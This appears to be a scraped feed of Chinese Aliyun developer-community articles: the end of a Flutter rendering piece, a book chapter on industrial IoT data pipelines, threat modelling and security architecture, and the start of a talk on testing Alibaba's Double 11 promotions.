        ​ 那么我们可以来解决例子中的问题了。我们先通过child.getMaxIntrinsicWidth来计算每个child需要的width。接着我们将这些宽度的最大值确定LinearLayout的width,最后我们通过child.layout对每个孩子进行布局,传入的constraints的maxWidth和minWidth均为LinearLayout的width。

        成果与展望

        效果展示

        ​ 新版渲染架构使得Flutter能理解并对齐DSL的布局理念,系统性解决了之前遇到的Bad Case,为Flutter动态模板方案带来了更多的可能性。

        性能对比

        ​ 我们对新老版本的渲染性能做了测试对比,在新版渲染架构下,我们通过页面渲染耗时对比以及FPS对比可以发现,动态模板的渲染性能得到了进一步的提升。

        example

        展望

        ​ 在渲染架构升级之后,我们彻底解决了之前遇到的Bad Case,并为系统性分析解决这类问题提供了有力的抓手,还进一步提升了渲染性能,这让Flutter动态模板渲染成为了可能。未来我们将继续完善这套解决方案,做到技术赋能业务。

        参考文章

        https://flutter.dev/docs/resources/inside-flutter

        https://www.youtube.com/watch?v=UUfXWzp0-DU

        https://www.youtube.com/watch?v=dkyY9WCGMi0

        ]]>
        带你读《工业物联网安全》之二:工业物联网数据流和安全架构-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 点击查看第一章

        第2章

        工业物联网数据流和安全架构
        “确保工业运行安全性和可靠性的关键在于确保连接到互联网的设备和系统是安全的。”
        —工业互联网联盟(IIC)执行理事Dr. Richard Soley
        工业物联网(IIoT)的庞大规模和复杂性要求采用系统的方法来保护其系统架构。当复杂程度较高时,将安全范畴分解为多个子域有助于管理和降低风险,这种分解对于涉及多种技术、多个组织边界(工业物联网中的常见场景)的案例特别有用。
        工业系统已经发展了数十年,其进步使我们提出保护工业物联网系统和资产的计划以避免现在或未来的威胁。本章深入介绍了工业物联网数据流和工业物联网参考架构,并介绍了IIC提出的工业互联网安全框架。随后这些讨论将引导读者了解简化的四层工业物联网安全模型,该模型将基本的工业物联网安全措施分解为四个主要的层面。
        但是,在开始讲解这些细节之前,我们将简单介绍工业物联网攻击、对策和威胁建模。
        本章涉及的主要内容如下:

        • 工业物联网攻击、对策和威胁模型初探
        • 工业物联网系统的可信度
        • 工业大数据管道和架构
        • 工业物联网安全架构

        2.1 工业物联网攻击、对策和威胁模型初探

        掌握工业物联网攻击的动态对安全风险的分析和缓解来说至关重要。威胁建模通常是一种安全对策,本章稍后将对此进行讨论。攻击树和故障树是建立安全威胁模型和表述攻击风险的两种有效方法。
        在现实世界中,大多数攻击都是针对物联网产品和连接中的特定漏洞。许多攻击都针对零日漏洞,对于这种漏洞,不仅可以利用漏洞进行攻击,还可以通过互联网或企业网轻松扩散攻击影响,从而产生雪球效应。由于IIoT攻击需要巨大投入和专业技能,因此大多数攻击都涉及民族、国家,足以造成重大影响。
        IIoT环境中的一些常见攻击类型如下所示:

        • 恶意软件触发的勒索软件
        • 有线/无线扫描和映射攻击
        • 网络协议攻击
        • 感染ICS(工业控制系统)和智能SCADA(数据采集与监控系统)
        • 密码算法和密钥管理攻击
        • 欺骗和伪装(认证攻击)
        • 未经授权的端点控制以触发意外的控制流
        • 数据破坏攻击
        • 操作系统和应用程序完整性攻击
        • 拒绝服务和服务拥塞攻击
        • 物理安全攻击(例如,有意破坏或接口暴露)
        • 访问控制攻击(权限提升)

        此外还存在许多其他攻击类型。如今,勒索病毒攻击事件的数量正在急剧上升。在IIoT中,如果勒索病毒将控制系统中的数据加密,则可能导致巨大的灾难。例如,医院的医疗数据被加密(参见1.10.6节)可能会导致大规模的致命后果。因此,我们需要仔细研究部署中的可能攻击,以便更好地管理安全风险。
        图2-1显示了漏洞、攻击和对策的相关性。

        2.1.1 攻击面和攻击向量

        在第1章,我们讨论了工业安全风险。为了评估攻击对系统造成的风险,我们使用了两个常用的术语攻击面和攻击向量,这两个术语与系统所针对的行业、特定部署用例以及相关的业务目标有着密切联系。

        image.png

        攻击面涉及可能导致攻击的各类系统组件。例如,在连接到SCADA网络的传统工控系统中,攻击面包括内部威胁、物理威胁、SCADA专用协议中的漏洞等。但是,当工控系统连接到云平台时,云技术中存在的漏洞(例如,基于IP的WAN连接、远程配置以及设备管理等)也成了攻击面。总之,IIoT显著地扩大了工业系统和基础设施的攻击面。
        攻击向量包括攻击所用的工具和技术,这也与行业和所涉及的技术密切相关。攻击者可以利用各种工具和技术对系统发起攻击。因此,针对IIoT系统的攻击向量可能是物理层面的,或者是与网络、软件及供应链相关的。常见网络攻击向量的示例包括网络钓鱼、不安全的无线网络、可移动媒介、移动设备、恶意Web组件、病毒以及恶意软件。
        鉴于IIoT涉及的风险具有网络和物理双重性质,在评估与任何IIoT部署相关的总体风险时,安全从业者必须考虑威胁、攻击面和攻击向量的物理后果。
        OWASP物联网攻击面
        OWASP已经为物联网系统总结了一份攻击面列表,并将其作为OWASP物联网项目的一部分。其如下所示,它提供了物联网系统攻击面的基本概念,同时也适用于IIoT,并且可用在基于攻击面的分析上。你还可以访问参考部分提供的OWASP网站,那里提供了进一步的详细说明。

        image.png

        2.1.2 攻击树

        攻击树提供了一种结构化、层次化的方式来收集和记录对指定组织的攻击,以便进行威胁分析。从根本上说,通过攻击树,我们可推断资产或目标受攻击的可能方式。
        攻击树已被用于各行各业,特别是用于分析针对防篡改电子系统和电网数字控制系统的威胁,这个概念也可以被扩展用于相关行业。
        如图2-2所示,攻击树是由一个根节点和多个叶子节点组成的多层图。从下到上,子节点是使直接父节点成立必须满足的条件。从下到上的每条路径,当满足根节点的条件时,攻击完成,其中每个节点的条件是否被满足只能由其直接子节点决定。
        攻击树通过推理方法来考虑所有攻击和威胁,而且这些推理可以与其他威胁模型集成,以创建一种透明且直接的攻击和攻击者的分析模式。
        在传统的网络安全事件中,攻击目标可能是身份盗取、数据泄露、拒绝服务等。然而,对于涉及网络物理系统的案例来说,攻击目标可能涉及物理灾难:“从关闭灯泡到关闭人类心脏”(IOT-SEC)。同样,由于与物理世界的交互,我们还需要考虑针对根节点的新的威胁和攻击方式。

        2.1.3 故障树分析

        对IIoT而言,攻击从本质上具有网络和物理属性,且与安全性和可靠性工程密切相关,因此,故障树分析可以作为一种有效的工具来使用。

        image.png

        IIoT系统和技术具有一定程度的复杂性,因此任何子系统发生故障都可能导致系统级故障。然而,我们通常可以通过改进系统设计来降低宕机的可能性。在故障树分析(FTA)中,我们对整个系统创建逻辑图,映射故障、子系统和冗余安全设计元素之间的关系。图2-3展示了故障树的示例。

        image.png

        与攻击树不同,FTA是自上而下的。在这里,我们通过组合一系列较低级别的事件(包括子系统故障)来进行分析。通过使用布尔逻辑,组合这些事件来分析非预期的系统状态。这也是安全性和可靠性工程中常用的演绎故障分析方法,用于理解系统如何发生故障,从而找到降低故障风险的方法。
        FTA最初用于航空航天工业,其对安全保障的要求非常高。对于商用飞机,故障概率为10-9(十亿分之一)(IOT-SEC)。如今,除航空航天外,FTA还用于其他行业,如核电、化学工程、制药、能源等。FTA也用于软件工程,用于调试寻找漏洞,并且与错误排除技术密切相关。
        以下一些行业和政府标准中描述了FTA方法:

        • NUREG-0492用于核电和航空航天工业
        • SAE ARP4761用于民用航空航天
        • MIL-HDBK-338用于军事系统
        • IEC 61025用于跨行业用途

        2.1.4 威胁建模

        完全根除安全威胁几乎不可能,无论我们采取何种安全措施来降低攻击风险,威胁都将存在。在实际部署中,安全措施都是在掌握已知威胁的基础上进行的风险管理。但是,除非我们掌握特定场景中的威胁,否则无法缓解风险(OWA-TRM)。
        威胁建模是一种有效管理和展示风险的系统技术,在威胁建模中,基于对系统架构和实现的深刻理解,我们根据威胁的发生概率来识别和评估威胁,这使我们能够按照优先级顺序降低风险,既经济又有效(MST-TRM)。
        微软公司为应用程序开发了一种威胁建模方法,该方法也可应用于IIoT系统。因此,我们将根据微软公司的方法来处理本节中的IIoT威胁建模,其中包括如图2-4所示的步骤。

        image.png

        步骤解释如下:
        1.资产识别:确定必须受到保护的资产列表。
        2.建立架构概览:记录整个IIoT系统的架构,其中包括子系统、平台、应用程序、信任边界、控制流以及数据流等。
        3.架构分解:将架构分解为系统(应用程序、物联网端点)和基础设施(通信协议、数据中心、网络协议)组件。为该特定场景的IIoT创建安全配置文件,旨在发现设计、实现或部署配置中的漏洞。
        4.威胁识别:基于攻击面和攻击向量,并使用攻击树和FTA(在本章前面讨论过)来进行威胁识别。常用的威胁识别技术有STRIDE和DREAD(接下来讨论),这两种技术都是由微软公司开发的。
        5.威胁记录:使用通用威胁模板记录每个威胁,该模板定义了针对每个威胁的核心属性集。
        6.威胁评级:对每个威胁进行评级,并根据威胁的影响确定威胁的优先级。评级过程会对威胁的可能性进行权衡,以指导我们有效地分配资源。
        威胁的评级和排名可以根据几个因素来确定,图2-5展示了一种以风险为中心的方法,该方法可以应用于IIoT部署用例。

        image.png

        STRIDE威胁模型
        由微软公司开发的STRIDE是对威胁进行识别和分类的一种模型,STRIDE模型还被扩展到了物联网威胁(MST-STR),并且可以应用于IIoT用例。STRIDE首字母缩略词代表以下类型的威胁:

        • 身份欺骗(Spoofing identity):个人或设备使用其他人的凭据(例如,登录名和密码以及证书等)来访问其无法访问的系统,其中设备可以使用虚假的设备ID。
        • 数据篡改(Tampering with data):更改数据发起攻击,数据通常与设备、协议字段、流动中的未加密数据等相关。
        • 否认(Repudiation):某人或设备能够否认卷入了某一特定交易或事务,并且无法证实。在发生安全漏洞的情况下,无法追踪到负责人或设备,这本身就是一种威胁。
        • 信息泄露(Information disclosure):向未被授权访问的个人提供信息,在IIoT环境中,这可能意味着攻击者可以访问传感器或操作数据。
        • 拒绝服务(Denial of service):这些威胁会阻止合法用户或设备访问服务器(计算)或网络资源。将系统性能降低到不可接受水平的漏洞也可被视为拒绝服务攻击的一种形式。
        • 权限提升(Elevation of privilege):未授权的用户可以渗透安全防护,获得足够的信任和访问权限,从而危及目标系统。

        DREAD威胁模型
        在识别并对威胁分类后,对它们进行排序和设定优先级也很重要,优先级较高的威胁应优先被解决。DREAD方法旨在对威胁进行排名(MS-DREAD)。虽然DREAD最初是为子系统组件(软件、固件等)开发的,但其概念可用于IIoT系统各种粒度级别的威胁评估。
        DREAD是一个首字母缩略词,代表威胁评估的五个标准:

        • 潜在损害(Damage):威胁转化为安全攻击时可能造成的损害。就网络物理系统来说,损害可能是数据泄露、环境破坏、人身伤害等。
        • 再现性(Reproducibility):衡量特定威胁成功变为攻击的频率,易再现的威胁更可能被利用。
        • 可利用性(Exploitability):评估启动漏洞利用所需的工作量、经济投入和专业知识,仅需低水平技能和经验的威胁比那些需要高级技能人员和高昂费用的威胁更容易被利用。就IIoT而言,攻击通常涉及高度的复杂性和专业知识。如果工业威胁被远程利用,那么它比本地的、物理访问和特殊凭据的漏洞利用更具可利用性。
        • 受影响的用户(Affected user):可能受攻击影响的用户数量是威胁优先级的衡量因素,其可以扩展为包括受攻击影响的设备和资产的数量。
        • 可发现性(Discoverability):漏洞可以被利用的可能性。

        在DREAD分类方案中,我们将根据威胁的风险值来对其进行量化、对比和优先排序。风险值可使用以下公式计算:

        image.png

        2.2 工业物联网系统的可信度

        正如本书中已经提到的,保护网络物理系统(CPS)的概念是我们通常理解的网络安全和信息安全概念的超集。
        为了确定IIoT安全的范围,我们使用术语可信度(NIST-CPS)(IIC-IISF)。根据NIST-CPS,CPS可信度的定义是:“可信度是指系统在其特征所对应的任何条件下都能够根据既有设计准则执行的可能性,其特性包括但不限于物理安全性、信息安全性、私密性、可靠性和弹性。”
        工作人员高度重视IIoT系统的可信度,为使IIoT系统可信,我们必须结合IT和OT域的安全特性(IIC-IISF)。如图2-6所示,可靠的IIoT系统的关键特性结合了IT可信度(私密性、信息安全性、可靠性和弹性)和OT可信度(物理安全性、可靠性、信息安全性和弹性)等元素。本书中对IIoT安全的所有引用都建立在IIoT可信度的概念之上。

        image.png

        在一个机构中,企业IT和OT团队对风险的看法完全不同,我们需要平衡考虑OT和IT,以确保IIoT系统的可信度。就IIoT来说,控制流和数据流可能跨越多个中间者,信任还应贯穿整个系统生命周期,涉及各种参与者和功能实体:从硬件和软件组件构建、系统平台构建、供应链,一直到终端用户。第7章将进一步阐述这一关键概念。
        在本章后续几节中,我们将分析工业大数据流,并讨论各种IIoT架构模式,然后提出一个简化的四层安全模型作为IIoT可信度的实践基础。

        2.3 工业大数据管道和架构

        数据是IIoT价值链中的主要资产,传感器、执行器和控制器等工业设备会生成状态并运行相关数据,这些工业大数据中固有的信息可用于实现各种描述性、规范性和预测性的应用以及进行商业洞察。从数据处理的角度看,针对这种端到端的数据流,首先使用提取、转换和加载(ETL)方法进行预处理,然后使用人工智能和机器学习,最后应用于数据可视化和业务应用,这一过程统称为工业大数据管道(如图2-7所示)。

        image.png

        针对上图的解释如下:

        • 现场(on-premise)数据源:现场数据包括使用和活动数据—实时流数据(传输中的数据)和来自各种数据源的历史/批处理数据。嵌入在远程站或工厂车间的传感器和控制器会产生大量数据,这些数据反映监测的参数、控制器动作和反馈信号数据。从中我们可以获得对实际系统较细粒度的可见度。这些原始数据既可以是结构化数据,也可以是非结构化数据,还可以是存储在数据池中以供将来处理或以流式传输进行(最近)实时流分析。静态数据包括传感器历史数据、反映设备健康(运行状况)的故障和维护数据以及事件日志,存储在瞬态或持久数据存储介质中;这些数据被上传到现场或云中平台进行规范数据存储,然后被用于批处理。
        • 数据接入:事件处理中心旨在快速接入并发送数据以进行实时分析,在存在大量数据的情况下,诸如Hadoop/HDFS、Hive、SQL等规范数据存储和计算集群可以执行ETL功能,并且可以将数据导入机器学习引擎。
        • 数据准备和分析:可对数据执行特征工程和ETL,以便为分析做好准备。
        • 流分析:根据传感器数据提供实时监测,如蒸汽轮机的设备运行状况。这些数据可以存储在持久存储介质中,以进行更复杂的密集型计算的批量分析,这些数据经转换后可用于机器学习,能够预测例如蒸汽轮机的剩余使用寿命。
        • 数据可视化:企业级应用程序(如客户关系管理(CRM)、企业资源规划(ERP)等)可以处理数据,商业智能(BI)分析软件(如Tableau、Pentaho等)可用于开发数据可视化应用程序以获取各种BI洞察(如性能、剩余使用寿命等)或基于异常的警报和通知。

        大数据管道和数据流的具体实现可根据特定的数据管理和所有权模型变化,端到端管道可以完全由工业组织(如智能风车)拥有,或者可以利用私有云或公有云基础设施来提高应用和业务领域的效率。
        当资产位于远端时(例如,风电场中的涡轮发动机和油田中的石油钻井平台),我们可能需要在资产附近进行数据处理和计算,以进行本地分析和控制。本章后续几节将进一步阐述这一过程。
        从IIoT系统可信度的角度来看,大数据管道的每个元素都需要通过集成数据私密性、可靠性和机密性控制来进行设计,同时也要考虑安全性、可用性和弹性。
        随后的几章,我们将讨论在这个工业数据管道和数据流中集成安全控制(如安全传输、存储和更新、安全监控等)的实用机制。

        2.4 工业物联网安全架构

        2015年,IIC发布了IIoT系统的工业互联网参考架构(IIRA)(IIC-IIRA),它采用“ISO/IEC/IEEE 42010:2011系统和软件工程—架构描述”作为通用架构和实践的标准。IIRA结合架构框架与多维抽象来分析焦点、视图、模型等,使用该参考架构有助于通过设计整合安全,架构师可以在这些参考架构之上构建特定场景的IIoT架构。
        本节简要讨论IIC参考架构的四个视角,这些视角简化了对IIoT架构的理解和分解。你可以在IIC-IIRA中找到对这些视角的深入讨论。

        2.4.1 业务视角

        IioT架构的业务视角有助于分析和评估面向业务的焦点,如采用IIoT解决方案的业务目标及其价值、投资回报、生命周期维护成本等,它进一步确定了IIoT系统如何通过映射到基本系统功能来实现既定目标。根据IIC:PUB:G1:V1.80:20170131:“?为了验证最终的系统确实能够满足目标需求,它们应该具有详细的可量化属性,如安全程度、安全性和弹性、衡量系统成功的基准,以及通过证据证实所声明的系统特性存在的标准。”

        2.4.2 使用视角

        该视角分析了使用IIoT系统实现关键系统和业务目标所涉及的活动和工作流程。示例工作流程如下所示:
        1.将新设备注册到边界网关。
        2.通过自动发现和查询所有网关,在基于云的管理平台中注册新设备。
        3.运行适合此设备类型的远程测试过程,并验证生成值是否在预期范围内以及是否与附近的类似设备保持一致。
        此分析将使用元素映射到整体架构中对应的功能和实现上,安全性是IIoT系统使用的除了数据完整性、数据机密性和弹性之外重要的可信赖因素,我们需要在整个使用周期中予以考虑。

        2.4.3 功能视角

        功能视角提供了一个基本抽象表示,以便设计IIoT端到端架构的重要功能组件。IIoT涉及多个关键任务功能组件,具有复杂的结构、交互、接口和连接,这些需要适当设计以确保其安全性和弹性。
        IIRA将这个功能视角分解为五个功能域,以更好地解决分析、设计和安全集成问题,这些功能域适用于所有行业的垂直领域。虽然可能有其他方法来分解特定功能的用例,但以下五个域提供了概念功能架构的出发点:

        • 控制域:侧重于传感和执行器功能,与外部物理对象和环境的交互是该领域的主要焦点,其还涉及环境安全性、弹性和数据保护。常见案例是风力涡轮机或自动车辆中的控制单元,或者能源网中的工控系统。
        • 操作域:在工业互联网架构中,传统的工业控制一般聚焦于本地的物理设备,现在已经发展到更高的水平。操作域包括(多个工厂、资产类型、车队或客户的)配置、管理、监控和优化功能。例如,IIoT对不同铁路的多辆列车进行组合分析,而不是仅对一列火车进行优化,可以提高整个国家的铁路网络利用率。
        • 信息域:表示从各个域收集数据的功能集合,尤其是来自控制域的数据;然后对这些数据进行转换、持久化存储和建模,以获得有关整个系统的高级信息。这反过来又帮助我们获得数据驱动的洞察并实现动态优化。例如,通过使用成本、需求和物流,我们可以动态地优化自动化生产设备的输出。由于这些功能大多属于IT领域,因此我们必须在规划和设计中集成适当的网络安全(cybersecurity)控制。
        • 应用域:包括实现业务的功能,如应用程序逻辑和规则、API、仪表板等。
        • 业务域:该域将IIoT系统与传统或新的业务应用的功能集成在一起,如ERP、CRM、产品生命周期管理(PLM)、制造企业生产过程执行系统(MES)、人力资源管理(HRM)、资产管理、服务生命周期管理、计费和支付、工作计划和调度系统等。

        如图2-8所示,这些功能域跨过了多种系统可信度的特性。根据具体用例的要求,这些功能域可以在逻辑上和物理上集中或分散。例如,我们可以在处于边缘的工业厂房(用于更快的处理和决策),或是在远程数据中心,或是与云服务提供商一起配置信息域。

        image.png

        2.4.4 实现视角

        实现视角合成了其他三类视角,其需要考虑业务目标,例如,成本和上市时间限制,与产品使用、协议、网络拓扑相关的活动,等等。这些都是满足功能特性所必需的。
        这也是需要实施安全策略(如设计安全性、深度防御性和基于威胁的风险分析)的视角。
        在下一节中,我们将回顾一些常见的IIoT架构,以便在详解安全分析之前建立基础的理解。

        2.4.5 工业物联网架构模式

        IIoT的部署包括前文讨论的各种功能域(控制、操作、信息、应用和业务),这些域的实现可以产生许多种架构模式(IIC-IIRA)。通过抽象各种IIoT部署的细节,我们可以推导出一些通用模式。我们将讨论两种常见模式以推出一种安全架构模型。
        模式1:三层架构模型
        三层架构非常常见,它涉及以下层的连接、数据和控制流:

        • 边界层
        • 平台层
        • 企业层

        图2-9显示了一个三层IIoT架构。

        image.png

        三层模式结合了IIoT的主要组件,如传感和控制、数据处理和转换、智能、通信和连接,以及管理服务和业务应用。它还可映射到功能视角中;例如在图2-8中,控制域功能被映射到边界层、平台层中的信息和操作上,以及企业层中的应用和业务上。
        该映射可以根据实现而变化,例如在一些情况中,为了实现智能边界计算,我们可以在边界层中实现与信息处理及某些应用逻辑和规则相关的一些功能。
        边界层中连接当地设备、传感器、执行器和控制系统(也称为边缘节点)的邻近网络,可以是有线或无线的形式。邻近网络可以利用网状或LAN网络拓扑,创建一个或多个集群,然后将这些集群与桥接到WAN或企业网络的边界网关相连。从边界层的节点收集的数据可以在本地处理或通过网关发送到云平台。
        接入网络连接边界层和平台层,平台层整合和分析从边缘层来的数据流,还将管理和控制管理命令从企业层转发到边缘层。接入网络可以是企业网络,也可以是公共互联网上的WAN虚拟专用网络(VPN),或3G/4G/5G蜂窝网络。
        企业层是管理功能的抽象层,它接收来自边缘层并在平台层中处理的数据流,这些数据可用于可视化或业务决策的分析。企业层中的操作用户还可以生成控制、配置和设备管理命令,这些命令被下传到边界节点。平台层和企业层通过服务网络连接;服务网络可以通过公共互联网或配备有企业级安全的专用网络来使用VPN。
        模式2:分层数据总线架构
        数据总线是连接的逻辑抽象表示,实现了一组通用模式和通用数据模型。在分层数据总线模型中,指定层中的每个端点都使用该通用模式集进行通信。
        分层数据总线架构在IIoT部署的逻辑层内和逻辑层之间提供低延迟(实时)、安全、对等的数据通信,这种模式在控制和监控分布于不同层的工业案例中很有用。例如在石油钻井平台的SCADA系统中,部署于远程位置的智能机器和控制器需要直接传送控制和监控数据,这可以实现更快的本地分析。
        监督层包含监督控制、监控和分析。
        单独的数据总线可以连接各个系统,以便在下一个更高层进行协调控制、监控和分析。
        在分层架构中,各层的数据总线可能具有不同的模式或数据模型集。为使用不同的数据模型,跨越不同层进行通信,较低级别的数据总线仅导出一组可控的内部数据。
        为了匹配不同层的数据模型,我们还可以使用数据总线网关或适配器,适配器还可以隔离和桥接安全域,或充当用于兼容旧系统或不同协议(IIC-IISF)的接口点。
        层与层之间的数据转发可以过滤和减少数据,由于控制和分析的范围从下到上逐层增加,因此减少跨层传输的数据量以适应范围、延迟和抽象级别内的增量则非常重要。
        以数据为中心的“发布-订阅”通信模型对数据总线来说较常见,在给定层中的应用程序,通过简单地“订阅”所需的数据作为输入,并“发布”它们产生的信息。该“发布-订阅”通信模型对于快速分发大量时间关键信息来说是有效的,尤其是当传送机制不是非常可靠时。
        对象管理组(OMG)的数据分发服务(DDS)标准使用此分层数据总线模型,消息队列遥测传输(MQTT)则使用基于代理的“发布-订阅”模型。DDS和MQTT及其安全功能将在第5章中讨论。
        在图2-10中,我们用分层数据总线架构的示例实现来表示用于石油监测和操作控制的大型SCADA系统。

        image.png

        2.4.6 工业物联网安全架构构建块

        对于上一节中讨论的三层架构,IIoT安全架构必须从端到端跨越三层—从边界设备终端到平台层,最终到企业层。在分层部署数据总线的情况下,安全体系框架需要包含数据总线通信和模式、每层的端点,以及通过数据总线网关的层间通信,这表明了IIoT安全的普遍性。此外,我们应该在部署生命周期的早期评估安全风险,而且必须在设计中加入应对方案。然而,由于IIoT的一些显著特征,这些安全要求在现实世界的工业物联网部署中并不容易实现,如下面摘录自IIC的工业互联网安全框架(IIC-IISF)文档的内容:

        • 由于IIoT包括IT和OT,理想情况下,安全性和实时态势感知应该无缝地跨越IT和OT子系统,而不会干扰任何运营业务流程。
        • 目前,工业系统的平均寿命为19年。使用最新和最安全技术进行绿地部署并不一定可行,安全技术通常得应用在一组难以改变的现有旧系统上。在绿地和棕地部署中,所有受影响的制造商、系统集成商和设备所有者/运营商,均必须参与创建更安全可靠的IIoT系统。
        • 由于没有单一的“最佳方式”来实现安全性和足够安全的行为,因此技术构建模块应该支持将逻辑防御级别映射到安全工具和技术的深度防御策略。由于工业系统的高度隔离性,需要在多种情况下应用安全部署。多个子网和不同的功能区可能具有不同的运维技术和安全要求,且为IT环境构建的安全工具和技术可能并不总是适合OT环境。
        • IIoT系统可能只有受限的系统资源来满足诸如系统安全和实时执行的安全需求,这些因素可能无法在最大程度上实现所有安全措施和控制(根据深度防御策略的要求)。安全规划实现应考虑系统行为所有必需的功能和非功能方面,包括相对优先级。

        基于前面的区别特征,图2-11显示了由IIC-IISF提出的从边界到云的多层IIoT安全框架的功能构建块;它映射到IIC参考架构的功能视角。

        image.png

        安全框架的功能视角由六个交互构建块组成,这些构建块分为三层,顶层包括四个核心安全功能:端点保护、通信和连接保护、安全监控和分析以及安全配置管理。
        这四个功能由数据保护层以及系统级的安全模型和策略层支持。
        摘自IIC-IISF对每个层的简要描述:

        • 端点保护:可在边界和云端的设备上实现防御,主要关注点包括物理安全功能、网络安全技术和权限识别。端点保护并不足够,因为端点必须相互通信,且通信中可能存在漏洞。
        • 通信和连接保护:使用端点保护的权限识别功能来实现流量的身份验证和授权验证。它使用完整性和加密技术以及信息流控制技术来保护通信和连接。
          一旦端点和通信受到保护,我们便必须在整个操作的生命周期中监管系统状态,可以采用安全监控和分析以及系统组件的安全配置管理来实现。

        前四个构建块由通用数据保护功能支持,该功能涉及的数据从端点中的静态数据扩展到通信中的动态数据,还包括监控和分析功能中产生的数据,以及所有系统配置和管理数据。

        • 安全模型和策略:功能层管理安全性的实现方式以及确保系统在整个生命周期内的机密性、完整性和可用性的策略,协调所有功能元素协同工作,以提供整体端到端的安全性。

        2.4.7 四层工业物联网安全模型

        工业物联网系统较复杂,涉及多个动态部件。为了简化安全性分析和实现,我们可以通过多种方式将IIoT架构分解为组件。由于大多数常见的部署模型由边界层、平台层和企业层组成,并且安全研究和发展与技术堆栈更加一致,因此在本书中,为了便于安全性分析、规划和实现,我们剖析了一个四层安全模型的整体架构:

        • 端点和嵌入式软件
        • 通信和连接
        • 云平台和应用
        • 处理和管理

        这种分层遵循之前讨论的IIoT的安全性原则,即:

        • 安全集成需要考虑IT和OT领域的特有动态
        • 安全需要解决工业生命周期(可能持续数十年)和棕地部署(与旧技术共存)
        • 工业端点的资源限制及其高可用性要求

        这种四层安全模型考虑了IISF中的数据保护层功能(见图2-11),其中包含静态、使用和动态数据。安全框架顶层的功能映射到此四层安全模型的第1~3层;安全框架的安全性和策略层映射到此模型的处理和管理层(如图2-12所示)。

        image.png

        四层模型解释如下:

        • 端点和嵌入式软件:在IIoT部署中,安全部署从芯片扩展到设备端点的软件层。IIoT端点包括从现场设备到具有海量存储和计算功能的企业级服务器和路由器。许多工业部署中使用不安全协议栈的旧设备,因此,安全不能仅限于网络边界,还要扩展到端点。在第3章和第4章中,我们将讨论IIoT端点安全所涉及的挑战,并介绍各种端点安全方法和解决方案,如访问和身份管理、建立信任根和信任链、安全启动和固件/软件升级、分区等。
        • 通信和连接:该层专注于通过安全传输、深度数据包检查、入侵检测和防御、安全通信协议等方法来保护使用和传输中的数据。在第5章中,我们将深入探讨保护IIoT连接和通信的挑战及解决方案。
        • 云平台和应用:这是需要保护的第三层,基于云的IIoT部署显著扩大了攻击面。IIoT用例中存在低延迟的关键任务命令和控制,由此提出了一系列独特的安全挑战。云平台服务通常延伸到工业边界,因此我们需要考虑特殊的攻击向量和缓解策略。在第6章中,我们将深入讨论保护工业边缘、云和应用的安全架构和方法。
        • 处理和管理:实用安全管理需采用基于风险的方法来使安全投入更合理,安全管理跨越从设计到运行的整个生命周期。IIoT相关角色还必须发挥各自的作用,以确保IIoT部署的安全。

        采用工业物联网的组织都可以通过威胁预防和风险管理的相关政策和指南受益,这是工业物联网安全目标和业务目标的重要组成部分。由NIST、IEEE等行业组织制定的安全标准以及开放的行业标准,都需要在任何物联网部署的设计规划阶段进行评估和应用。此外,需要围绕配置和管理、数据保护、连接、端点保护、威胁分析等制订专用的安全模型和策略。
        第7章会提供有关工业物联网风险管理的更多见解,并回顾现有标准和管理原则,以便为企业开发成功的安全管理模型。

        2.5 总结

        本章介绍了攻击、对策和威胁建模的入门知识,为风险分析和缓解奠定了基础,还为读者介绍了有关IIoT系统可信度和工业大数据管道功能组件特征的观点。
        IIoT系统非常复杂,本章介绍了由IIC开发的IIoT架构观点和模式,为你提供对端到端IIoT系统组件的清晰理解。基于使用、操作和功能域,IIoT安全架构被分解为四层安全模型,后续章节会对此进行详细阐述。

        ]]>
        质量公开课第1期:从大促保障到测试水电煤-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 摘要:随着双 11 全球狂欢节的深入人心,在大促规模越来越大的同时,难题也摆在阿里测试人面前。如何既遵守大促保密性要求不提前透露玩法,又能提前验证到大促当天运行的功能?本次分享再现大促历史性难题的解题过程,并由此展开,谈到从一个大促保障平台产品,将该产品的底层能力分拆和下沉,为阿里巴巴集团各业务测试团队提供创新的底层能力。

        演讲嘉宾简介:

        李子乐(太禅),阿里巴巴资深测试开发专家。毕业于浙江大学信电系。2010 年初加入淘宝,负责 PC 自动化测试框架的设计,包括淘宝全网 Web 自动化和旺旺客户端自动化等测试体系的构建,是淘宝开源自动化测试框架 automan 的架构和主要开发人员。从 2011 年接触无线,开始搭建团队,负责设计无线自动化测试框架,及无线自动化持续集成体系,并完成阿里第一套无线自动化框架 athrun 的开源。2013 年 all in 来往,后于 2014 年加入天猫,负责手机天猫测试团队,现为新零售技术质量测试效能与飞猪质量的负责人。

        点击直播视频精彩回顾

        以下内容根据演讲视频以及 PPT 整理而成。

        一、背景-大促活动保障难点

        玩法极其复杂: 阿里大促保障活动中的玩法极其复杂多样,如下图中的几个页面。第一个页面是日常态玩法,包括红包和店铺优惠卡券。但在双 11 玩法会增加很多种类,如第二个页面中的预设玩法,第三个页面中双 11 当天的售卖情况,以及最后一个页面中的双 11 整体的优惠情况,其中包括购物津贴、店铺卡券、满减、限时优惠等等非常丰富玩法。

        无法真实验证: 此外,阿里做预演时无法提前预演双 11 当天的活动。目前的验证方法一般通过构建一个测试活动或者预发项目 debug 的方式验证。以上两种验证方式效率非常低,而且无法验证真实的场景。

        量级大: 数据显示,2018 年双 11 达到了 2135 亿的 GMV,菜鸟数据显示 2018 年线上包裹量约为 10.24 亿。如此量级的包裹数量无论对于交易还是履约或者物流系统都是极其大的考验。

        1.png

        在此情况下,阿里希望有一套方案,可以解决大促难点。首先,可以提前模拟大促情况,且覆盖新老玩法,并且需要关注在老玩法叠加新玩法的情况下,系统是否会产生额外的问题。

        其次是模拟真实用户场景,包括用户会在优惠活动之前以及预热时提前凑单,提前加购等场景。最后是场景聚类分析。一旦模拟真实场景下的用户行为,需要分析覆盖了多少用户,覆盖度如何,弄清楚哪些用户没能覆盖,这些场景都需要聚类分析的能力。

        2.png

        二、全链路功能-能力建设与实现

        1. 环境能力

